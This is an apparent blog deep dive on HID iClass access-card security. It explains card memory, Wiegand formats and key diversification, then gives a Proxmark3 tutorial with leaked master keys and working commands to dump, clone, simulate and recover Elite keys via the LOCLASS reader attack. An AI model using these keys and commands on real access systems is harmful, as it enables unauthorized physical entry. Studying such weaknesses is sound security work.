an RFID-hacking deep dive: how secure is your access control system?
March 14, 2025 - 8567 words
pretty much everything you'd ever need to know about hacking HID's iClass brand of access control credentials.
TABLE OF CONTENTS
0. intro
1. important concepts
- 1.1 how the hell do access control systems work?
- 1.2 history lesson on HID access control products
- 1.3 iClass security timeline
2. iClass authentication, a technical breakdown
- 2.1 card memory
- 2.2 wiegand bit formats
- 2.3 keys galore
- 2.4 key diversification functions
3. attacking iClass cards, a DIY tutorial
- 3.1 the price of admission
- 3.2 cloning legacy standard
- 3.3 cloning legacy elite
- 3.4 iClass SE/Seos: downgrade attack
- 3.5 iClass SE/Seos: NR-MAC attack
- 3.6 other notes on iClass SE/Seos
0. conclusion
- 4.1 quick summary
- 4.2 conclusion
- 4.3 appendix: more resources
0. intro
This article explores the current state of security for HID iClass contactless radio frequency identification (RFID) credentials, as of 2025. These products are smart cards and key fobs that function alongside corresponding proprietary readers, where you present the card/fob within a few inches of a reader and it authenticates using radio frequency signals. You can usually determine a card is iClass when there's a blue HID iClass label printed in a corner. iClass products are managed and sold by the security manufacturer HID Global, which currently has more than half a billion issued credentials, many of which are used in high-security organizations; as such, the impact of a security compromise on these products is pretty massive. The rabbit hole on this topic goes extremely deep. This article is basically a lengthy infodump that attempts to answer as many questions on this topic as possible, such as: how do these physical credentials work? What data is stored on them? How secure are they? And how can we bypass existing security measures to read, write, and clone them ourselves?
1. important concepts
Keeping things mostly non-technical for this section, we're just doing a high-level overview here.
1.1 how the hell do access control systems work?
The security technology that has steadily replaced traditional lock-and-key setups around the world is called a physical access control system (PACS). Nowadays, a PACS is usually implemented as a network of readers, scanners, doors, and software that authenticates people using physical credentials, and authorizes access to physical spaces based on their identity in the organization. These physical credentials are usually cards or sometimes key fobs, but they function identically, so throughout this article I'll just refer to them as cards for simplicity. A PACS has 5 components: card, reader, door, controller, and database.
read card memory decrypt, transmit wiegand data
card <-----------> reader ---------------------------+
^ |
| v db auth
+------------------------ controller <---------> database
reader beep/flash red or green | logging
|
door <-----------------------------------------------+
potentially unlock the door for a moment
The important credential data on a card (basically the username/password in the access control world) is often called the PACS data. It's essentially just a sequence of bytes in the card's memory that the reader reads, interprets, and transmits to the controller, which indicates that person's identity. For iClass cards, readers are manufactured by HID, with proprietary, closed-source (read: hackable) firmware on them. Once the reader does its magic, which will be thoroughly explored later, it outputs two numbers over wire to the controller: the facility code (FC), and the card number (CN). These function as the username/password in the system, but the FC/CN combo is not really analogous to a username/password: facility codes are the same for every card in a site/organization, while card numbers are unique to each card within that organization. The combination of FC and CN is called the Wiegand data.
There are generally three steps involved to go from card to plaintext Wiegand data:
- send the right radio frequency signals to the card to authenticate with it and read its PACS data
- decrypt the PACS data into the bit-encoded Wiegand data
- decode that bit encoding to retrieve the FC and CN
HID reader devices have proprietary firmware that implements these steps inside a black box. Nowadays, the technology has been researched and reverse engineered for a while, so in many cases we can execute these steps ourselves, helping us clone credentials from outside an organization without having to obtain proprietary HID hardware.
1.2 history lesson on HID access control products
HID's iClass brand of access cards is one of the most extensively adopted in history. Including the predecessor and successor to iClass, there have been four main contactless access credential products released by HID since the 90s, each more secure than the last. This article mostly focuses on the iClass ones, the middle two, but we will still give some mention to the first and last.
| name | released | frequency | description |
|---|---|---|---|
| HID Prox | early 90s | low freq (125 kHz) | The original RFID access card. No security at all, just broadcasts credentials as long as you ask nicely. |
| iClass | 2002 | high freq (13.56 MHz) | Now called iClass "Legacy," requires keys to both read/write to and decrypt data from a card. Their security was completely destroyed by researchers in the early 2010s, and keys were leaked. Completely clonable since then. |
| iClass SE | 2011 | high freq (13.56 MHz) | Extends and improves the security of iClass Legacy, using the same card silicon. SE stands for SIO-enabled, SIO stands for Secure Identity Object (weird HID branding). Partially hacked. |
| Seos | 2012 | high freq (13.56 MHz) | Newest model, uses different silicon/protocol than iClass. (Confusingly, was originally branded as iClass Seos, but not anymore.) HID's current secure recommendation, mostly not hacked yet. |
There's also iClass SR cards (aka SIO-Ready, SIO-encoded), which are the backwards-compatible intermediary for organizations transitioning between iClass Legacy and SE. It's really just a weird hybrid of iClass Legacy and iClass SE in one card, and it's able to authenticate using either mechanism.
For each type, iClass, iClass SE, and Seos, the credentials are split into two types: Standard and Elite*. Standard-keyed cards use the exact same HID-provided master key to authenticate read/write operations on the card, for all standard security cards on the planet (so if you leak that key, you've cracked every single card). In contrast, Elite-keyed cards (somewhat rarer) have a custom master key that is unique to each organization -- still generated by HID, though. iClass, iClass SE, and Seos each have one master key for standard credentials around the world, and then there's thousands of Elite keys for the other three. Standard and Elite security also have separate cryptographic functions for key diversification, which as you might expect, I'll explain later. This old HID marketing paper gives some overview on the differences between Standard and Elite security.
*technically there's a third type: using a non-Elite custom key generated by the customer (it's super rare tho)
1.3 iClass security timeline
In the context of physical RFID credentials, there's a high bar for security. iClass cards sort of function like shitty USB drives in that they contain memory for storing data, except they are secured (usually with secret cryptographic keys) so that only proprietary HID readers can read that data. In an ideal, perfectly secure world, it would be impossible to gain unauthorized access to a facility that uses iClass cards without just stealing one, or through obvious means like social engineering. This article focuses on attacks like the following:
- Cloning cards by obtaining the secret keys required to read, decrypt, write, and encode them
- Exploiting weaknesses in the cryptographic security of the mutual authentication process between cards and readers
- Dumping memory from cards and using a device to emulate their data to readers
There's been quite a lot of research about iClass over the years, but these are the four most notable publications.
| year | publication | description | actual impact |
|---|---|---|---|
| 2010 | Heart of Darkness (Meriac) | The OG iClass security research paper. Provides a hardware-hacking approach to extract HID's iClass Legacy master keys from their readers' firmware. | pwned iClass legacy Standard |
| 2011 | Exposing iClass Key Diversification (Garcia, de Kong Gans, Verdult) | Research done separately and parallel to the previous paper. Provides a cryptography-based approach to determine the same master keys without dumping reader firmware, using computation equivalent to a single brute-force attack on DES. | also pwned iClass legacy Standard, but in a more convenient way |
| 2012 | Dismantling iClass and iClass Elite (Garcia, de Kong Gans, Verdult, Meriac) | The previous authors team up to provide a new, refined attack to recover the same standard master keys, as well as (more critically) a new attack to recover any custom Elite key, called the LOCLASS attack. | pwned iClass legacy Elite (legacy is now dead) |
| 2024 | Hi-Intensity Deconstruction (Javadi, Levy, Draffen, Gray), part 2, slides | DEF CON presentation of seven years of research, culminating in a complex and highly technical attack to extract iClass SE and Seos master keys from HID hardware. Some details were omitted for the sake of responsible disclosure, and keys were not leaked. | not much actually, since no keys have been leaked (so far) (afaik) |
2. iClass authentication, a technical breakdown
I promise you that if you read this entire section, then the following diagram will make complete sense.
HOW TO CLONE AN ICLASS LEGACY CREDENTIAL (Standard or Elite)
(no key required for reading CSN)
csn 1 <- read CSN from card 1
csn 2 <- read CSN from card 2
card 1 div key <- KDF(csn 1, master auth key)
card 2 div key <- KDF(csn 2, master auth key)
card 1 read write card 2
blocks 7-9 -------------------> enc PACS data -------------------> blocks 7-9
w/ card 1 div key ^ w/ card 2 div key
|
encrypt/decrypt |
w/ transport key |
v encode/decode wiegand bits
dec PACS data <----------------------> FC, CN
This section largely focuses on iClass Legacy, but I also provide some details on iClass SE.
2.1 card memory
iClass cards are actually PicoPass cards (source, datasheet) manufactured by Inside Secure, which HID makes some proprietary changes to at the factory and then "blows the fuse" to make them permanent. Card memory is broken down into numbered 8-byte blocks, starting with block 0. Usually there's 32 blocks on the card, meaning 8 * 32 = 256 bytes or 2048 bits of memory (hence why certain sources call them "iClass 2K" cards, including the HID spec). By default, all the bits on the card are set to 1, so many of the bytes are 0xFF. Both Legacy and SE cards use the same underlying PicoPass card tech, so you will often see people refer to both collectively as PicoPass. This means that for any HID-produced Legacy or SE card, where the PicoPass fuse has already been blown, the following table is accurate:
| block | name | description | readable? | writable? |
|---|---|---|---|---|
| 0 | card serial number (CSN) | Unique for each physical card | yes | hell no |
| 1 | configuration block | HID's configuration for iClass cards, it's always set to 12 FF FF FF 7F 1F FF 3C |
yes | no |
| 2 | e-purse | Special value used for card auth cryptography. Bytes are mostly 0xFF |
yes | kinda, needs a key* |
| 3 | debit key | Password for read/write within application 1, as well as to overwrite block 3 itself. Derived from the HID master debit key and the card's CSN | no | yes, needs debit key** |
| 4 | credit key | Same as the debit key, but for application 2, and derived from the HID master credit key instead. This key doesn't really matter much, since AA2 is unused by iClass | no | yes, needs credit key** |
| 5 | application issuer area (AIA) | Data that indicates the type of card, basically tells the reader whether it's iClass Legacy, SE, or SR | yes | no |
| 6-18 | application 1 (AA1) | Contains PACS data, in a format that differs depending on block 5 (AIA). Needs the debit key to read/write | yes, needs debit key | yes, needs debit key |
| 19-31 | application 2 (AA2) | unused, needs the credit key to read/write | yes, needs credit key | yes, needs credit key |
Some super pedantic notes, skip if you wanna:
- The above table applies for cards in application mode, which is irreversibly set for all retail iClass cards by "blowing the fuse," as mentioned earlier. There is also personalization mode, where (among other differences) blocks 1 and 5 are writable. I think they blow the fuse by just writing the last byte of block 1 to the special value 3C, effectively switching from personalization mode to application mode.
- *You can't directly write block 2 (e-purse), but it can be decremented using the debit key and either decremented or incremented using the credit key (I think? actual functionality is more complex). PicoPass intended this for payment systems, but HID used it for cryptographic purposes in its card-to-reader mutual authentication protocol.
- **Key blocks are writable if the card config allows keys to be changeable, which in iClass cards it usually does. In application mode, when writing a new key value, the actual written value is the XOR of the previous and the provided values; only in personalization mode is the provided value directly written. One case where changing keys is relevant is if you're trying to convert a blank card from Standard-keyed to Elite-keyed so you can clone an Elite credential onto it.
- One resource to better understand the config block, e-purse, and AIA is the PicoPass datasheet that I mentioned earlier (although, iClass uses some fields differently than intended). Also, for another resource, this paper has some similar diagrams/tables to the ones here.
Within certain blocks of Application 1 (blocks 6-18) is the card credential, aka the PACS data. In an iClass Legacy card, Application 1 looks like this:
| block | description | example | decrypted |
|---|---|---|---|
| 6 | another config block, this time telling the reader how to interpret the PACS data in blocks 7-9. generally, blocks 7-9 are encrypted with triple-DES (or rarely just DES) | 030303030003E017 |
N/A (it's not stored encrypted) |
| 7 | usually all the PACS data is in here. once decrypted, there's preamble/start bit(s) (often just a single "sentinel bit"), then the Wiegand bits | 22E20C00595F08EF |
00000000065400F7 |
| 8 | PACS data can overflow to here, but usually it's just encrypted zeroes | 2AD4C8211F996871 |
0000000000000000 |
| 9 | if applicable, contains the card PIN, but again usually just encrypted zeroes | 2AD4C8211F996871 |
0000000000000000 |
| 10-18 | unused | all zeroes | N/A |
More detailed explanation for these blocks (as well as other fun info) can be found here. Once you've read these blocks off a card, you can decrypt 7-9 offline using the HID transport key (which has been leaked, more on this later). Notably, though, you don't have to decrypt blocks 7-9 to clone a card. Because the Legacy credential is just encrypted Wiegand data, if you can read it, you can just transplant the encrypted bytes into another card, and it'll work. This is a major design pitfall of iClass Legacy security.
For iClass SE cards, it's different than the above table. Instead of a Legacy credential in blocks 6-9, you have a Secure Identity Object (SIO) in blocks 6-12. I won't do a block-by-block breakdown on SIOs, since we don't have the keys to read or decrypt them. An important detail that distinguishes SIOs from Legacy credential data is that instead of being cryptographically derived exclusively from the Wiegand data, SIOs are also derived from the CSN. This means that even SIOs that encode the same credential are different in different cards. If your new card has a different CSN (and it always will), it needs a newly encoded SIO, you can't just transplant the old one over like with Legacy.
Finally, in iClass SR cards, the same Legacy master keys are used, unlike SE. You simply have the Legacy credential in blocks 6-9, same place as an iClass Legacy card, but then you additionally have an SIO in blocks 10-16. HID readers that can understand SIOs will prefer reading them over Legacy. However, the vast majority of the time, readers still accept Legacy credentials, so you can generally just copy those blocks over to a Legacy card (called a downgrade attack).
2.2 wiegand bit formats
This part is only relevant to iClass Legacy cards, since we don't have the master decryption keys for the newer ones. Once you've read the PACS data and decrypted it, you get some bytes that'll look similar to this:
00 00 00 00 06 54 00 F7
The final step is to pull the FC and CN out of this bit encoding, which is trivial if you know which encoding it is. Converting the above bytes to binary (and dropping the zeroes at the front), we have:
110 01010100 00000000 11110111
In this example, we're using the standard 26-bit H10301 format. This encoding is, in order: a leading parity bit, 8 bits for the FC, 16 bits for the CN, and a trailing parity bit, adding up to 26. The parity bits are set such that the first 13 bits have an even number of ones, and the last 13 bits have an odd number of ones. Looking at our example, there's actually a 27th bit as well, which is just the first 1 bit we see. This is called the sentinel bit (briefly mentioned earlier) and it's introduced by iClass as a way to tell the reader that the Wiegand stuff starts on the following bit. It's entirely separate from the Wiegand bit encoding specification, it's an iClass thing. Decoding the example from the card:
leading parity bit FC = 00101010 = 42
| CN = 0000000001111011 = 123
| FC (8 bits)
v ,------,
1 1 00101010 0000000001111011 1
^ '--------------' ^
| CN (16 bits) |
sentinel bit |
trailing parity bit
H10301 is one of many Wiegand bit formats out there, but they all use the same concepts.
2.3 keys galore
Next up: here's an explanation for every key or key type I've mentioned, and how to find them. The leaked ones have been publicly known for a while, but some people still hesitate to post them online for some reason (maybe to avoid legal issues with HID? regardless I am not one of those people). First, iClass Legacy.
- Authentication key --
AEA684A6DAB23278- HID's secret 8-byte master key that is needed to authenticate read/write to cards. This is the most important one: the standard auth key, used in every standard iClass Legacy credential. Elite credentials have a different authentication key per organization. The standard key was leaked over a decade ago and can be found here. You can also always recover the standard key using an attack introduced by Garcia et al. For Elite keys, you can use the LOCLASS attack (introduced in the same paper) to retrieve your organization's Elite key, requiring brief access to a reader followed by a few seconds of computation. Also, a lot of Elite keys have been leaked anyway.
- quick note - there's two auth keys in iClass cards: one for AA1, and one for AA2. This key is the former, and since AA2 is unused by iClass we generally don't care about the latter
- Card keys/diversified keys -- unique to each card
- This is the actual key stored in the card memory (debit key, block 3). This key is diversified, meaning it's derived from computations involving the master authentication key and the card's CSN. This makes it unique to every physical card since CSNs are unique and unchangeable. Key diversification is a security mechanism to prevent needing to write the master authentication key to every card in existence. If you know the standard auth key, you can compute the diversified keys of all standard Legacy cards in existence.
- Transport key (AKA encryption/decryption key) --
B4212CCAB7ED210F7B93D45939C7DD36- HID's secret 16-byte triple-DES key (more accurately, a pair of 8-byte DES keys) used for encryption of card data in blocks 7-9. Also leaked, found here.
- Here is another explanation of these keys. The below diagram shows where each key is necessary.
authentication key, CSN
|
v
card/div key transport key wiegand encoding
blocks 7-9 <------> encrypted PACS <-------> decrypted PACS <--------> FC, CN
For iClass SE and Seos: both have their own authentication, card, and encryption keys, and they're AES keys now, not DES (why the hell they were using DES originally, I've got no clue). As mentioned earlier, these aren't leaked, but an attack (Javadi, Levy, Draffen, Gray) has been presented that can retrieve them from HID hardware. On the DEF CON stage, the researchers showed a video proving they had successfully cloned a Seos card using those retrieved keys. Unfortunately the fuckers won't tell us the keys (jk responsible disclosure is good).
The last piece of the puzzle to understand is key diversification.
2.4 key diversification fucktions
To derive a diversified card key from an authentication key and a CSN, iClass uses certain key diversification functions (KDFs). Within iClass Legacy, there's separate KDFs for Standard and Elite keys. The KDF for Standard is this: card key = hash0(DES(csn, auth key)), where hash0 is a proprietary key fortification function originally kept secret by HID. In English: Encrypt the card's serial number with the master authentication key using the DES algorithm, then feed those resulting 8 bytes into a fancy function called hash0 that spits out another 8 bytes, and that's your card key stored in block 3.
Turns out this KDF is actually quite insecure. Garcia et al. fully reversed, reimplemented, and attacked it in Exposing iClass Key Diversification, recovering the master authentication key. The Elite KDF is different; in addition to the function hash0, it also involves hash1 and hash2. This adds more obscurity, but is ironically even more vulnerable, and so this KDF gets demolished in Dismantling iClass and iClass Elite with the introduction of what came to be known as the LOCLASS attack. The punchline here is that while key diversification is a good security measure in general, its implementation in iClass Legacy is so ineffective that it does nothing besides provide some obscurity and require the attacker to use a handful of computation to break it.
At this point, I'll invite you to revisit the diagram at the top of Section 2. The diagram references a function KDF, which represents either the Standard or Elite KDF that I've explained. The only thing that changes between Standard and Elite is the auth key and KDF used.
3. attacking iClass cards, a DIY tutorial
For iClass Legacy, all of the attacks have been known since the initial burst of research papers in the early 2010s; for a while though, keys weren't publicly known and attacks weren't publicly implemented. But nowadays, convenient open-source implementations and programmable hardware exist for executing every step of the cloning process. The device I recommend and provide instructions for is the Proxmark3. For iClass SE and Seos, as I've mentioned, we can't properly clone them yet; however, there's still a few available attacks that I'll describe later on.
| iClass card type | can we clone it with a proxmark? |
|---|---|
| Legacy Standard | YES |
| Legacy Elite | YES (usually) |
| SE Standard | no, but practical attacks exist (maybe clonable one day) |
| SE Elite | no |
| Seos Standard | no, but some attacks exist (maybe clonable one day) |
| Seos Elite | no |
This section provides a walkthrough assuming you own an iClass card that you want to clone. If you need to figure out what type of card you have, check out this doc for understanding all the markings on your card.
3.1 the price of admission
The Proxmark is the Swiss army knife of RFID card cloning. At time of writing, the only version sold by the official distributors is the Proxmark3 RDV4 for a whopping $340. Alternatively, my recommendation is to buy one of the $40 Chinese knockoffs from ebay, which are reliable enough in my experience. These are replicas of the Proxmark3 Easy, which is a cheaper version that the official distributors seem to have discontinued. Going with this route, you will need to flash the firmware onto the device. You can also avoid this step by buying a proxmark pre-flashed from Dangerous Things for over double the price.
For flashing firmware, you have two options: the official Proxmark firmware repo, or the Iceman fork. From what I've seen, the Iceman fork is more well featured, has more community support, and is largely preferred. The Iceman repo has detailed instructions for Linux, macOS, and Windows. The pm3 commands provided from now on assume firmware is flashed correctly and you have a shell in pm3 with the proxmark plugged in. Flashing firmware can be a somewhat confusing process, the RFID hacking discord and the proxmark forums are good resources if you need help.
IMPORTANT note for firmware: if you're using a Proxmark3 Easy, you should configure advanced compilation parameters to make sure you compile for that hardware, not the RDV4, since the RDV4 has some functionality the Easy doesn't. Copy Makefile.platform.sample to Makefile.platform and set PLATFORM=GENERIC in that file before you make -j it.
To buy blank cards to work with and clone to, search for 2000PGGMN on ebay (here's one listing). They're a little under $10 each when bought individually. In bulk, they can be under $4 each, though that usually means buying 100+ cards from an actual supplier like identisource.
3.2 cloning legacy standard
The category of commands you want to use in the pm3 shell is hf iclass, which has quite a few subcommands.
[usb] pm3 --> hf iclass
----------- --------------------- General ---------------------
help This help
list List iclass history
----------- ------------------- Operations -------------------
dump Dump Picopass / iCLASS tag to file
info Tag information
rdbl Read Picopass / iCLASS block
reader Act like a Picopass / iCLASS reader
restore Restore a dump file onto a Picopass / iCLASS tag
sniff Eavesdrop Picopass / iCLASS communication
view Display content from tag dump file
wrbl Write Picopass / iCLASS block
creditepurse Credit epurse value
----------- --------------------- Recovery --------------------
chk Check keys
loclass Use loclass to perform bruteforce reader attack
lookup Uses authentication trace to check for key in dictionary file
----------- -------------------- Simulation -------------------
sim Simulate iCLASS tag
eload Upload file into emulator memory
esave Save emulator memory to file
esetblk Set emulator memory block data
eview View emulator memory
----------- ---------------------- Utils ----------------------
configcard Reader configuration card
calcnewkey Calc diversified keys (blocks 3 & 4) to write new keys
encode Encode binary wiegand to block 7
encrypt Encrypt given block data
decrypt Decrypt given block data or tag dump file
managekeys Manage keys to use with iclass commands
permutekey Permute function from 'heart of darkness' paper
The most important one is hf iclass info, which prints most of the relevant information from your card. Example output:
[=] --- Tag Information ----------------------------------------
[+] CSN: 67 5D 74 00 F7 FF 12 E0 uid
[+] Config: 12 FF FF FF 7F 1F FF 3C card configuration
[+] E-purse: FA FF FF FF FF FF FF FF Card challenge, CC
[+] Kd: 00 00 00 00 00 00 00 00 debit key ( hidden )
[+] Kc: 00 00 00 00 00 00 00 00 credit key ( hidden )
[+] AIA: FF FF FF FF FF FF FF FF application issuer area
[=] -------------------- Card configuration --------------------
[=] Raw... 12 FF FF FF 7F 1F FF 3C
[=] 12 ( 18 )............. app limit
[=] FFFF ( 65535 )...... OTP
[=] FF............ block write lock
[=] 7F......... chip
[=] 1F...... mem
[=] FF... EAS
[=] 3C fuses
[=] Fuses:
[+] mode......... Application (locked)
[+] coding....... ISO 14443-2 B / 15693
[+] crypt........ Secured page, keys not locked
[=] RA........... Read access not enabled
[=] PROD0/1...... Default production fuses
[=] -------------------------- Memory --------------------------
[=] 2 KBits/2 App Areas ( 256 bytes )
[=] 1 books / 1 pages
[=] First book / first page configuration
[=] Config | 0 - 5 ( 0x00 - 0x05 ) - 6 blocks
[=] AA1 | 6 - 18 ( 0x06 - 0x12 ) - 13 blocks
[=] AA2 | 19 - 31 ( 0x13 - 0x1F ) - 18 blocks
[=] ------------------------- KeyAccess ------------------------
[=] * Kd, Debit key, AA1 Kc, Credit key, AA2 *
[=] Read AA1..... debit
[=] Write AA1.... debit
[=] Read AA2..... credit
[=] Write AA2.... credit
[=] Debit........ debit or credit
[=] Credit....... credit
[=] ------------------------ Fingerprint -----------------------
[+] CSN.......... HID range
[+] Credential... iClass legacy
[+] Card type.... PicoPass 2K
[+] Card chip.... NEW Silicon (No 14b support)
[+] AA1 Key...... AEA684A6DAB23278
[=] Block 7 decoder
[+] Binary..................... 110010101000000000011110111
[=] Wiegand decode
[+] [H10301 ] HID H10301 26-bit FC: 42 CN: 123 parity ( ok )
[+] [ind26 ] Indala 26-bit FC: 672 CN: 123 parity ( ok )
[=] found 2 matching formats
Pretty much all of this output has been explained at some point in Section 2 of this article. For example, remember that blocks 0, 1, 2, and 5 were the only ones open to unauthenticated read, and these are the the blocks printed at the top (CSN, config, e-purse, AIA). Then, at the bottom, the proxmark automagically does the whole authenticate -> read -> decrypt -> decode process, and shows the FC is 42 and the CN is 123 (ignore the Indala format, this is an H10301 card). The proxmark is implicitly using both the leaked HID authentication key and the leaked HID transport key here.
To understand things better, let's dump all the card memory with hf iclass dump. This time, we need to manually pass the HID authentication key to read AA1 (blocks 6-18). By default, this should be stored in key index 0, accessible with --ki 0. Otherwise, just pass it manually with -k AEA684A6DAB23278.
[usb] pm3 --> hf iclass dump --ki 0
[=] --------------------------- Tag memory ----------------------------
[=] block# | data | ascii |lck| info
[=] ---------+-------------------------+----------+---+----------------
[=] 0/0x00 | 67 5D 74 00 F7 FF 12 E0 | g]t..... | | CSN
[=] 1/0x01 | 12 FF FF FF 7F 1F FF 3C | .......< | | Config
[=] 2/0x02 | FA FF FF FF FF FF FF FF | ........ | | E-purse
[=] 3/0x03 | D1 86 4C 9F F9 CC 44 CF | ..L...D. | | Debit
[=] 4/0x04 | FF FF FF FF FF FF FF FF | ........ | | Credit
[=] 5/0x05 | FF FF FF FF FF FF FF FF | ........ | | AIA
[=] 6/0x06 | 03 03 03 03 00 03 E0 17 | ........ | | User / HID CFG
[=] 7/0x07 | 22 E2 0C 00 59 5F 08 EF | ..Y.Kk.. | | User / Enc Cred
[=] 8/0x08 | 2A D4 C8 21 1F 99 68 71 | *..!..hq | | User / Enc Cred
[=] 9/0x09 | 2A D4 C8 21 1F 99 68 71 | *..!..hq | | User / Enc Cred
[=] 10/0x0A | FF FF FF FF FF FF FF FF | ........ | | User
[=] 11/0x0B | FF FF FF FF FF FF FF FF | ........ | | User
[=] 12/0x0C | FF FF FF FF FF FF FF FF | ........ | | User
[=] 13/0x0D | FF FF FF FF FF FF FF FF | ........ | | User
[=] 14/0x0E | FF FF FF FF FF FF FF FF | ........ | | User
[=] 15/0x0F | FF FF FF FF FF FF FF FF | ........ | | User
[=] 16/0x10 | FF FF FF FF FF FF FF FF | ........ | | User
[=] 17/0x11 | FF FF FF FF FF FF FF FF | ........ | | User
[=] 18/0x12 | FF FF FF FF FF FF FF FF | ........ | | User
[=] ---------+-------------------------+----------+---+----------------
[?] yellow = legacy credential
This will print the card dump and save it to some dump files. To clone from a dump file, copy one of the filepaths, remove your original card from the proxmark, and place the blank on it. Here's the command:
hf iclass restore --first 6 --last 9 --ki 0 -f <dump filepath>
[+] Using key[0] AE A6 84 A6 DA B2 32 78
[+] loaded `<dump filepath>`
[=] restore started...
[#] Write block [ 6/0x06] successful
[#] Write block [ 7/0x07] successful
[#] Write block [ 8/0x08] successful
[#] Write block [ 9/0x09] successful
[+] iCLASS restore successful
[?] Try `hf iclass rdbl` to verify data on card
If successful, this card will now function identically to your original card when held to a reader. For some more commands you can use, reading and writing blocks individually is done with these commands:
hf iclass rdbl --ki 0 --blk <block number>
hf iclass wrbl --ki 0 --blk <block number> -d <block data hex string>
We can decrypt blocks 7-9 from our dump like this (pm3 should find the transport key automatically):
hf iclass decrypt -f <dump filepath>
[=] --------------------------- Tag memory ----------------------------
[=] block# | data | ascii |lck| info
[=] ---------+-------------------------+----------+---+----------------
[=] 0/0x00 | 67 5D 74 00 F7 FF 12 E0 | g]t..... | | CSN
[=] 1/0x01 | 12 FF FF FF 7F 1F FF 3C | .......< | | Config
[=] 2/0x02 | FA FF FF FF FF FF FF FF | ........ | | E-purse
[=] 3/0x03 | D1 86 4C 9F F9 CC 44 CF | ..L...D. | | Debit
[=] 4/0x04 | FF FF FF FF FF FF FF FF | ........ | | Credit
[=] 5/0x05 | FF FF FF FF FF FF FF FF | ........ | | AIA
[=] 6/0x06 | 03 03 03 03 00 03 E0 14 | ........ | | User / HID CFG
[=] 7/0x07 | 00 00 00 00 06 54 00 F7 | .....T.. | | User / Cred
[=] 8/0x08 | 00 00 00 00 00 00 00 00 | ........ | | User / Cred
[=] 9/0x09 | 00 00 00 00 00 00 00 00 | ........ | | User / Cred
[=] 10/0x0A | FF FF FF FF FF FF FF FF | ........ | | User
[=] 11/0x0B | FF FF FF FF FF FF FF FF | ........ | | User
[=] 12/0x0C | FF FF FF FF FF FF FF FF | ........ | | User
[=] 13/0x0D | FF FF FF FF FF FF FF FF | ........ | | User
[=] 14/0x0E | FF FF FF FF FF FF FF FF | ........ | | User
[=] 15/0x0F | FF FF FF FF FF FF FF FF | ........ | | User
[=] 16/0x10 | FF FF FF FF FF FF FF FF | ........ | | User
[=] 17/0x11 | FF FF FF FF FF FF FF FF | ........ | | User
[=] 18/0x12 | FF FF FF FF FF FF FF FF | ........ | | User
[=] ---------+-------------------------+----------+---+----------------
[?] yellow = legacy credential
[=] Block 7 decoder
[+] Binary..................... 110010101000000000011110111
[=] Wiegand decode
[+] [H10301 ] HID H10301 26-bit FC: 42 CN: 123 parity ( ok )
[+] [ind26 ] Indala 26-bit FC: 672 CN: 123 parity ( ok )
[=] found 2 matching formats
[=] -----------------------------------------------------------------
Similar to hf iclass info, the decrypt command also automatically does the Wiegand decoding, but we could also do it manually with this command:
wiegand decode -r <decrypted block 7 hex string>.
To take another FC, CN combo and write it directly to your card, you can use the following command, assuming the bit encoding is H10301:
hf iclass encode --ki 0 -w H10301 --fc <FC> --cn <CN>
This does the encode -> encrypt -> authenticate -> write process altogether.
Also, just for fun, I'll mention that you can also simulate an iClass credential from a dump file (i.e. run the command and hold your proxmark up to the reader, and it pretends to be a card).
hf iclass eload -f <dump filepath>
hf iclass sim -t 3
There's plenty of other commands, but I've gone over all the important ones for standard-keyed iClass Legacy.
3.3 cloning legacy elite
For Elite-keyed credentials, the first step is to find your organization's Elite authentication key. Once you have the key, all the same commands from section 3.3 work for cloning a card, but you need to add two parameters: --elite to use the Elite KDF instead of Standard, and -k <key hex string> to pass the auth key.
BEFORE PROCEEDING: make 100% sure you can't dump it with hf iclass dump --ki 0 (if you can, it's Standard)
The first thing to try is a dictionary attack. The proxmark developers have kindly compiled a list of ~700 Elite keys to try, and if you're lucky, yours is in there. With your Elite card on the proxmark, run this:
hf iclass chk -f iclass_elite_keys.dic --elite
If that doesn't find you the key, here's another dictionary (mostly overlaps, but it's worth trying).
Otherwise, you need to perform the LOCLASS attack to recover the elite authentication key used for all readers and cards in your organization. As mentioned earlier, this is the second attack laid out in this paper. Also, here's a demo of this attack from Iceman himself.
First step: find a reader at your site, hold your proxmark up to it, and run this command:
hf iclass sim -t 2
Example of successful output:
[=] Starting iCLASS sim 2 attack (elite mode)
[=] press `enter` to cancel
[#] going into attack mode, 9 CSNS sent
[#] CSN: 01 .... e0 OK
[#] CSN: 0c .... e0 OK
[#] CSN: 10 .... e0 OK
[#] CSN: 13 .... e0 OK
[#] CSN: 07 .... e0 OK
[#] CSN: 14 .... e0 OK
[#] CSN: 17 .... e0 OK
[#] CSN: ce .... e0 OK
[#] CSN: d2 .... e0 OK
[+] [+] 9 out of 9 MAC obtained [OK]
[+] saved 216 bytes to binary file iclass_mac_attack.bin
[?] Try `hf iclass loclass -f iclass_mac_attack.bin` to recover elite key
You should read the paper if you want details, but the idea is to emulate a bunch of fake cards with specially chosen CSNs such that they have low entropy, and store the nonces and MACs (cryptography stuff) that the reader responds with for each one.
Second step is offline, you don't even need the proxmark plugged in.
hf iclass loclass -f iclass_mac_attack.bin
On my laptop, this took 16 seconds of computation. Example of successful output (using a sample dump file from the proxmark repo):
[+] Loaded 3024 bytes from binary file `iclass_dump.bin`
[=] bruteforce using 16 threads
[ 15 ] 160 / 255
[+] time 16 seconds
[+] ----- High security custom key (Kcus) -----
[+] Standard format 8F A2 50 C3 CB 61 F4 1C
[+] iCLASS format 5B 7C 62 C4 91 C1 1B 39
[+] Key verified ( ok )
In the output, the key we've been looking for is 5B7C62C491C11B39. If it didn't work: LOCLASS can fail for plenty of reasons. Your best bet is asking in the discord's iClass channel or the forums.
3.4 iClass SE/Seos: downgrade attack
Beyond iClass Legacy, things are a bit murky. Without the keys, you generally need to use HID hardware that already has the keys secretly stored on it in order to clone iClass SE and Seos. The simplest attack for these card types is to effectively "downgrade" the card by constructing an iClass Legacy card with equivalent PACS data. This involves reading the Wiegand data from the SE or Seos card, and then re-encoding and writing it to a separate Legacy card. The catch here is that this attack does not work if iClass Legacy cards are disabled on your facility's readers, i.e. the readers only accept SE and/or Seos. But from everything I've read, my understanding is that seemingly nobody actually puts in the effort to do this.
